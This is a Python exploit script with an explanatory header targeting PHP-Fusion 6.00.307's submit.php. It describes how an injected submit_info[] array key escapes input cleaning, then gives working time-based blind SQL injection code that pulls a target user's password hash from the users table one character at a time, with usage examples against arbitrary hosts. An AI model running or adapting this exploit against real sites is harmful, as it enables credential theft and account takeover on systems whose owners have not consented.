#!/usr/bin/python """ #=================================================================================================# # ____ __________ __ ____ __ # # /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ # # | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ # # | | | \ | |/ \ \___| | /_____/ | || | # # |___|___| /\__| /______ /\___ >__| |___||__| # # \/\______| \/ \/ # #=================================================================================================# # This was a priv8 Exploit # #=================================================================================================# # PHP-Fusion 6.00.307 # # And Probably All Other Versions # # Blind Sql Injection Vulnerability # # Benchmark Method # #====================================#===========#====================================#===========# # Server Configuration Requirements # # Some Information # # #====================================# #====================================# # # # # # magic_quotes_gpc = 0 # Vendor: php-fusion.co.uk # # # Author: The:Paradox # #================================================# Severity: Moderately Critical # # # # # Oh wow no-content space! Enjoy it! # Proud To Be Italian. # # # # #====================================#===========#================================================# # Proof Of Concept / Bug Explanation # # #====================================# # # PHP-Fusion presents a critical vulnerability in submit.php page. Let's see source: # #=================================================================================================# [Submit.php] 1. if ($stype == "l") { 2. 3. if (isset($_POST['submit_link'])) { 4. 5. if ($_POST['link_name'] != "" && $_POST['link_url'] != "" && $_POST['link_description'] != "") { 6. $submit_info['link_category'] = stripinput($_POST['link_category']); 7. $submit_info['link_name'] = stripinput($_POST['link_name']); 8. $submit_info['link_url'] = stripinput($_POST['link_url']); 9. $submit_info['link_description'] = stripinput($_POST['link_description']); 10. $result = dbquery("INSERT INTO ".$db_prefix."submissions (submit_type, submit_user, submit_datestamp, submit_criteria) VALUES ('l', '".$userdata['user_id']."', '".time()."', '".serialize($submit_info)."')"); #=================================================================================================# # Look to the sql query. # # There are two variables: $userdata['user_id'] and a serialized array $submit_info. # # The user_id is an intval value and array values link_category, link_name, link_url and # # link_description are correctly cleaned via fusions' stripinput() function. # # # # All seems pretty cleaned. # # But what would happen if we set another value into submit_info[] array via gpc vars? # # It will be set in the serialized array, and obvious it will not checked by stripinput. # # Sql Injection possibility! # # # # Let's see: # # # # Host: 127.0.0.1 # # POST PHP-Fusion/submit.php?stype=l # # link_category=1 link_name=1 link_url=1 link_description=1 submit_info[paradox]=' submit_link=1 # # # # It will result in sql error in case of Mq = 0 : # # # # You have an error in your SQL syntax; check [...] # # # #=================================================================================================# # Normally to make this trick working register_globals = 1 is needed, but in php-fusion uses # # extract() to simulate register_globals when it is set to 0. # #=================================================================================================# # Use this at your own risk. You are responsible for your own deeds. # #=================================================================================================# # Python Exploit Starts # #=================================================================================================# """ from httplib import HTTPConnection from urllib import urlencode from time import time from sys import exit, argv, stdout from md5 import new print """ #=================================================================# # PHP-Fusion v6.00.307 # # And Probably All Other Versions # # Blind Sql Injection Vulnerability # # Benchmark Method # # # # Discovered By The:Paradox # # # # Usage: # # ./fusiown [Target] [Path] [ValidId] [ValidPass] [TargetUserid] # # # # Example: # # ./fusiown localhost /phpfusion/ 40 s3cr3t 1 # # ./fusiown www.host.org / 791 myp4ssw0rd 1 # #=================================================================# """ if len(argv)<=5: exit() else: print "[.]Exploit Starting." prefix = "fusion_" benchmark = "230000000" vtime = 6 port = 80 target = argv[1] path = argv[2] cuid = argv[3] cpass = argv[4] uid = argv[5] j=1 h4sh = "" ht = [] for k in range(48,58): ht.append(k) for k in range(97,103): ht.append(k) ht.append(0) def calc_md5(p): hash = new() hash.update(p) return hash.hexdigest() print "[.]Blind Sql Injection Starts.\n\nHash:" while j <= 32: for i in ht: if i == 0: exit('[-]Exploit Failed.\n') start = time() conn = HTTPConnection(target,port) inj = "' OR (SELECT IF((ASCII(SUBSTRING(user_password," + str(j) + ",1))=" + str(i) + "),benchmark(" + benchmark + ",CHAR(0)),0) FROM " + prefix + "users WHERE user_id=" + uid + "))# BH > WH" conn.request("POST", path + "submit.php?stype=l", urlencode({'link_category': '1', 'link_name': '1', 'link_url': '1', 'link_description': '1', 'submit_link' : 'Submit+Link', 'submit_info[cGd0MQ==]' : inj }), {"Accept": "text/plain", "Content-Type" : "application/x-www-form-urlencoded","Cookie": "fusion_user=" + cuid + "." + calc_md5(cpass) + ";"}) response = conn.getresponse() read = response.read() if response.status == 404: exit('[-]Error 404. Not Found.') now = time() if now - start > vtime: stdout.write(chr(i)) stdout.flush() h4sh += chr(i) j += 1 break; print "\n\n[+]All Done.\n-=Paradox Got This One=-"